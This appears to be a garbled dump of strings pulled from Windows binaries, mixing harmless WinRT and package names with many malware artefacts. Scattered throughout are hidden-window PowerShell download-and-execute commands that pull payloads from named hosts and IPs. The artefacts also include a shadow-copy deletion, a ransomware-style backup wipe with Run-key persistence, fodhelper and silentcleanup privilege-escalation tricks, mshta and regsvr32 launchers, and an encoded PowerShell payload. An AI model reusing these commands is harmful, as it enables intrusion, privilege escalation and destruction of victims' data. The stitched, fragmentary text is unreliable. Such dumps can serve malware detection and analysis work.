.?AU?$implements_delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_260_>@?0???$?0USettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUSettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_259_>@?0???$?0UHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUHomePage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AV<lambda_260_>@?0???$?0USettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@QEAA@PEAUSettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P86785@EAAXAEBU?$IObservableVector@USettingsGroupViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@
.?AU?$delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_260_>@?0???$?0USettingsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@hbin
\System32\
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
_WmyURL = "http://20.196.213.19/firewall.exe".SaveToFile "C:\WINDOWS\Temp\Troubleshooter.zip"
\windows\currentversion\run\
windowsinstaller.
s\system32\rundll32.exe"c:\
           targetNamespace="http://schemas.microsoft.com/appx/manifest/com/windows10/4"
           xmlns="http://schemas.microsoft.com/appx/manifest/com/windows10/4"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:com4="http://schemas.microsoft.com/appx/manifest/com/windows10/4"
           xmlns:com5="http://schemas.microsoft.com/appx/manifest/com/windows10/5"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10/5"/>
%_add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Cu
\microsoft\windowsdefender
Windows
echo---minimizewindowssoftwaretracepreprocessor(wppsoftwaretracing)
cmd/cc:\windows\temp\inj32.exe-p
 .exe-lc:\windows\temp\
Icmd/cc:\windows\temp\inj32.exe-p
 .exe-lc:\windows\temp\
<command>c:\windows\system32\windowspowershell\v1.0\powershell.exe
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
http://redirsystem32.com/tds1/in.cgi?2&group=mp3
http://redirsystem32.com
52^windows.backgroundTasks
52^windows.updateTask
52^windows.preInstalledConfigTask
c:\windows\system32\cmd.exe/cstartfor""pak""ncl""live""traffic""cuba""ethopia""napal""spice""srilanka""""bd""cli""pak""ncl""bangladesh.wsf&startdsc_02
c:\windows\system32\cmd.exe/c"netuseq:https://webdav.4shared.com
systemroot\system32\driverskav.dll
$rrequire_once('Functions/Zombies.php');require_once('Functions/Pharming.php');file(UrlServer . "/Admin/FunctionsClient/Select.php?action1=".$A."&action2=".$B."&action3=".$C);$Zombies = createArray('zombis' , NameMaquina , 'name');ChatWnd.SendMessage(Mensajes[Random]);fopen ( "c:/windows/system32/drivers/etc/hosts", "a+" );fopen($H . "Scripts/Facebook/Facebook.txt" , "a+");fopen(UrlServer . "/Admin/FunctionsClient/Update.php?" . $Url  , 'r');
]_$WDKillWindowsSecurityCenterAndFireWall
Classes\SUPERAntiSpywareContextMenuExt.SASCon.1Windows\CurrentVersion\Uninstall\ERUNT_is1k
cmd /k c:\windows\Atualizada.exe
cmd /k c:\windows\htts.exe
\run\windows defender
F.edb.log.txt.pf.jpgsvchost.exe,smss.exe,lsass.exe,services.exe,winlogon.exe\hlgd.dll
\obj\Release\x64\Microsoft.Windows.Applica	
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
!B"powershell-windowstylehidden-executionpolicybypass-commandiex((new-objectnet.webclient).downloadstring('http://activetools.live/rhw.ps1'))",0,true'wscript.sleep3000'script2objshell.run"powershell-windowstylehidden-executionpolicybypass-commandiex((new-objectnet.webclient).downloadstring('http://activetools.live/pyhw.ps1'))",
[powershell-windowstylehidden-executionpolicybypass;$tempfile=[io.path]::gettempfilename()|rename-item-newname{$_-replace'tmp$','exe'}passthru;invoke-webrequest-uri""http://3.121.219.193/pin/p0-2025185-dtd-26-01-2023.exe""-outfile$tempfile;start-process$tempfile;debug.printscommandsetowshshell=createobject("wscript.shell")setowshshellexec=owshshell.exec
-MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
/MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustAp
&MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding@
.enumwindows(
"7__x_Windows_CAI_CMachineLearning_CITensorBooleanStatics2
__x_Windows_CAI_CMachineLearning_CILearningModelDeviceStatics
__FIAsyncOperationCompletedHandler_1_Windows__CAI__CMachineLearning__CLearningModelEvaluationResult
__x_Windows_CAI_CMachineLearning_CITensorUInt32BitStatics2
__x_Windows_CAI_CMachineLearning_CILearningModelSessionFactory
__x_Windows_CAI_CMachineLearning_CILearningModelBinding
__FIVectorView_1_Windows__CAI__CMachineLearning__CILearningModelFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CILearningModel
__x_Windows_CAI_CMachineLearning_CITensorStringStatics
__x_Windows_CAI_CMachineLearning_CITensorFloat16BitStatics2
__x_Windows_CAI_CMachineLearning_CITensorUInt8Bit
__x_Windows_CAI_CMachineLearning_CITensorBooleanStatics
__x_Windows_CAI_CMachineLearning_CITensorUInt32BitStatics
__x_Windows_CAI_CMachineLearning_CITensorInt8BitStatics2
__x_Windows_CAI_CMachineLearning_CITensorInt16Bit
__x_Windows_CAI_CMachineLearning_CITensorUInt16Bit
__x_Windows_CAI_CMachineLearning_CITensorInt32BitStatics
__x_Windows_CAI_CMachineLearning_CILearningModelDeviceFactory
__x_Windows_CAI_CMachineLearning_CITensorDouble
__x_Windows_CAI_CMachineLearning_CISequenceFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CITensorFloatStatics
__x_Windows_CAI_CMachineLearning_CILearningModelOperatorProvider
__x_Windows_CAI_CMachineLearning_CITensorUInt16BitStatics2
__FIIterable_1_Windows__CAI__CMachineLearning__CILearningModelFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CILearningModelBindingFactory
__x_Windows_CAI_CMachineLearning_CILearningModelFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CITensorUInt64BitStatics2
__x_Windows_CAI_CMachineLearning_CITensorFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CITensorFloat
__x_Windows_CAI_CMachineLearning_CITensorUInt8BitStatics
__x_Windows_CAI_CMachineLearning_CITensorInt8BitStatics
__FIAsyncOperation_1_Windows__CAI__CMachineLearning__CLearningModelEvaluationResult
__x_Windows_CAI_CMachineLearning_CITensorInt16BitStatics
"Windows"
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
%SYSTEMROOT%\System32\
      <Color Name="ToolWindowSplitBarBackground">
start-process"c:\windows\system32\fodhelper.exe"-windowstylehidden
startc:\windows\system32\cmd.exe/cvssadmindeleteshadows/all/quiet
Users\Welcome\Documents\WindowsFormsApp10
windows\system32\cmd.exe/
^maagayatrilogistics.com/wuk4q/q.png&&regsvr32-u"%homepath%\wc\itf5\t3jc.frzl.yxsa"&&ping0ev.comc:\windows\
')!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mq/s-1-5-21-1520782219-2966946036-1450665887-1001
	c:\windows\sysnative\cmd.exe/c"powershellstart-processschtasks.exe-argumentlist"/run/tn\microsoft\windows\diskcleanup\silentcleanup/i
B3Wsetpropvalue.showwindow("0");win32_process.getobject();setpropvalue.commandline("powershell-noprofile-windowstylehidden-command""$wc=new-objectsystem.net.webclient;$wc.headers.add('user-agent','
%5<hta:applicationid="windowsupdate"applicationname="windowsupdate"border="none"caption="no"showintaskbar="no"windowstate="minimize"sysmenu="no"><html><head><title>windowsupdate</title><scriptlanguage="javascript">window.onload=function(){executescript();};
%systemroot%\system32www.hotsword.com/fasoo.exe\autorun .infshell\auto\command=
\krag.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Run
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ecwb0ageacgb0acaakabkagkacgagaemaogbcafcakgbzafwauwaqadiaxabtahmaaaaqaguakqagaccaaab0ahqacabzadoalwavagsacgbpaguaegauahcabwbyagsalwbsaguazaauag0acaa0acca
Rotate Windows
.?AU?$producer_convert@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producers_base@UPerformancePageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UPerformancePageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@$0A@@impl@winrt@@
windows11
MicrosoftWindows.Client.CBSCN=
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64; Trident/4.0; .NET4.0C; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; .NET4.0C; .NET4.0E)
%""%systemroot%\system32\%
ActivityCenterView::GetWindowSize
Windows U
1d80fd3d7eea4a7685b55ed80cd8275f_WindowsOneDriveDesktopForkNotificationsDisplayed
1d80fd3d7eea4a7685b55ed80cd8275f_WindowsOneDriveDesktopForkNotificationsReceived
msWindowsUser
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
release-x64\tools-for-windows\Win:
-for-windows\Win:
56^windows.appExtension
57^windows.appExtension
Windows.Foundation.Collections.IObservableVector`1
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
SLGetWindowsInformationDWORD
Windows
Windows
.windowsphone.com1)*
software\microsoft\windows\currentversion
c:\windows\sys
\software\microsoft\windows\currentversion
%c:\windows\system32\firewall.cpl
#c:\windows\sys\
c:\windows\
made in china ddoswindows china drivernetwork china netboth
ocas.com/search.php?q={searchterms}&pagina=1&rxp=20searchscopes\{a34587234-awer-3256-5ty6-12edergty568}1oftware\microsoft\internet explorer\1earch1copeshttp://www.mbu1ca1.com/indexp.php?id=bg windows2
c:\windows\system32\
c:\windows\system32\
clientcore\windows\advcore\ctf\ticoadapter\textinputclientwrapper.cpp
clientcore\windows\advcore\ctf\shellhandwriting\client\handwritingclient.cpp
clientcore\windows\advcore\ctf\shellhandwriting\threaddispatcherclient\threaddispatcherhandwritingclient.cpp
clientcore\windows\advcore\ctf\shellhandwriting\delegation\shellhandwritingdelegation.cpp
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
:<kRECOVER_FILES.txsystem32MSExchangeWriterBCRYPT.DLL!#ALF:PUABundler:Win32/Rostpay.KS62
~"\\appdata\\roaming\\microsoft\\windows\\startmenu\\programs\\startup\\"
powershell-windowstylehiddeninvoke-webrequest-urihttps://g-t-a-all.ru/
Microsoft.Windows.ReFsDedupSvc
Microsoft.Windows.ReFsDedupSvcLib
Microsoft.Windows.ReFsDedupSvc.Notifications
Microsoft.Windows.ReFS.Dedup
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WebcamExperience-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Windows.ApplicationModel.Internal.DataTransfer.ClipboardHistoryServer
Windows.ApplicationModel.Internal.DataTransfer.ClipboardOperationAppInfo
Windows.ApplicationModel.Internal.DataTransfer.ClipboardPolicy
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSettings
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSettingsProvider
Windows.ApplicationModel.Internal.DataTransfer.ClipboardSignalProducer
Windows.ApplicationModel.Internal.DataTransfer.ClipboardViewManager
Windows.ApplicationModel.Internal.DataTransfer.CloudClipboard
Windows.ApplicationModel.Internal.DataTransfer.NearShare.NearShareExperience
Windows.ApplicationModel.Internal.DataTransfer.NearShare.NearShareExperienceFactory
Windows.ApplicationModel.Internal.DataTransfer.NearShare.ShareReceiverHandler
reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "allkeeper" /t reg_sz /d hermesjdskfngrjtby5ntoivtmovrkmekvmclkvcvtrgbybtdklfevlkbrlevrdecrypt_information.htmldel /s /f /q c:\*.vhd c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
Windows Security
-windowstylehidden
_\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://signverydn.sharebusiness.xyz/j2y6r5bwik+8cbl38hwcdr5ujezsjj8nabae8winbbq=
0.shellexecute('cmdkey','/deletemicrosoft_windows_shell_zipfolder:filename='+
command=["powershell-executionpolicybypass-windowstylehidden[net.servicepointmanager]::securityprotocol='tls12';$fname='"
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
WindowsFeedback
.run('%windir%\\system32\\'$
8windows.appExtension
8windows.appExtension
7windows.appExtension
7windows.appExtension
7windows.appExtension
6windows.appExtension
6windows.appExtension
5windows.appExtension
5windows.appExtension
5windows.appExtension
5windows.appExtension~
5windows.appExtension}
4windows.appExecutionAlias|
4windows.comServer{$
3windows.preInstalledConfigTaskz
3windows.backgroundTasksy
3windows.backgroundTasksx
3windows.backgroundTasksw
3windows.updateTaskv
3windows.backgroundTasksu
3windows.backgroundTaskst
3windows.backgroundTaskss
3windows.appServicer
3windows.appExtensionq
3windows.appExtensionp
2windows.appExtensiono
2windows.appExtensionn
2windows.appExtensionm
2windows.appExtensionl
1windows.appExtensionk
1windows.appExtensionj
0windows.appExtensioni
0windows.appExtensionh
/windows.appExtensiong
.windows.appExtensionf
.windows.appExtensione
-windows.appExtensiond
-windows.appExtensionc
-windows.appExtensionb
,windows.appExtensiona
,windows.appExtension`
+windows.appExtension_
+windows.appExtension^
+windows.appExtension]
*windows.appExtension\
*windows.appExtension[
)windows.appExtensionZ
)windows.appExtensionY
)windows.appExtensionX
(windows.appExtensionW
(windows.appExtensionV
'windows.appExtensionU
'windows.appExtensionT
&windows.appExtensionS
&windows.appExtensionR
%windows.appExtensionQ
%windows.appExtensionP
%windows.appExtensionO
$windows.appExtensionN
$windows.appExtensionM
$windows.appExtensionL
#windows.appExtensionK
#windows.appExtensionJ
"windows.protocolI
!windows.protocolH
 windows.backgroundTasksG
 windows.backgroundTasksF
windows.backgroundTasksE
windows.backgroundTasksD
windows.appServiceC
windows.protocolB
windows.appServiceA
windows.protocol@
windows.appService?
windows.appService>
windows.backgroundTasks=
windows.protocol<
windows.backgroundTasks;
windows.protocol:
windows.backgroundTasks9
windows.shareTarget8
windows.aboveLockScreen7
windows.protocol6
windows.protocol5"
windows.internal.componentUI4
windows.protocol3
windows.appExtension2
windows.appExtension1
windows.protocol0
windows.appExtension/
windows.appExtension.
windows.protocol-
windows.appService,
windows.appService+$
windows.preInstalledConfigTask*
windows.backgroundTasks)
windows.backgroundTasks(
windows.backgroundTasks'
windows.backgroundTasks&
windows.backgroundTasks%
windows.backgroundTasks$
windows.backgroundTasks#
windows.backgroundTasks"
windows.backgroundTasks!
windows.backgroundTasks 
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.internal.componentUI
windows.aboveLockScreen
windows.webAccountProvider
windows.protocol
windows.protocol
windows.appExtensionHost
windows.lockScreen
windows.protocol
windows.appExtension
windows.lockScreen
windows.protocol
windows.mobileMultiScreenProperties	
windows.appExtensionHost
windows.protocol
windows.appService
windows.shareTarget
windows.appService
pwindows.appExtension
Lwindows.protocol
3windows.preInstalledConfigTaskz
Microsoft\Windows\Start Menu\Programs\Startup\
Host process for windows TasksH
#uecho---disable"secureboot"buttonin"windowssecurity"
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
l@winrt@@V?$tuple@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@2345@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
WindowsInstaller
wow64_microsoft-windows-m..ponents-mdac-msdart_31bf3856ad364e35_none_4a0ce8491ebe6475
wow64_microsoft-windows-m..ponents-mdac-msdatl_31bf3856ad364e35_none_4a0cab891ebeae7f
wow64_microsoft-windows-m..ponents-mdac-rds-ce_31bf3856ad364e35_none_bab2d98dca6b9854
wow64_microsoft-windows-m..ponents-mdac-sqlxml_31bf3856ad364e35_none_bd2f3fc3be895ff9
wow64_microsoft-windows-m..qlserver-driver-dll_31bf3856ad364e35_none_784dacf6ae6aeff2
wow64_microsoft-windows-m..qlserver-driver-rll_31bf3856ad364e35_none_77b64e0eaedc7720
wow64_microsoft-windows-m..qlxml-rll.resources_31bf3856ad364e35_en-us_87fa65a33c420215
){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$
wow64_microsoft-windows-mediaplayer-autoplay_31bf3856ad364e35_none_9b5f89a8a7266626
wow64_microsoft-windows-mediaplayer-common_31bf3856ad364e35_none_5596eb9314b687bc
wow64_microsoft-windows-mediaplayer-core_31bf3856ad364e35_none_a3h
wow64_microsoft-windows-
ComSpec=C:\WINDOWS\system32\cmd.exe
wow64_microsoft-windows-p..talcontrolssettings_31bf3856ad364e35_none_d37aaf799019703f
wow64_microsoft-windows-p..ting-clientregistry_31bf3856ad364e35_none_ff6e37743707dd9e
wow64_microsoft-windows-p..ting-separatorpages_31bf3856ad364e35_none_8d42f769d3231e0c
wow64_microsoft-windows-p..ting-spooler-client_31bf3856ad364e35_none_26b112e8562ef285
wow64_microsoft-windows-p..ty-common.resources_31bf3856ad364e35_en-us_0e1296a121b56b1d
wow64_microsoft-windows-p..ucturenonexecutable_31bf3856ad364e35_none_cef26dc7b4447691
wow64_microsoft-windows-p..unterinfrastructure_31bf3856ad364e35_none_9cd87441590c2c32
JHc:\windows\system32\windowspowershell\v1.0\
%Microsoft Windows Production PCA 2011
Windows.UI.Xaml.Controls.Maps
e}copyc:\windows\system32\curl.exe
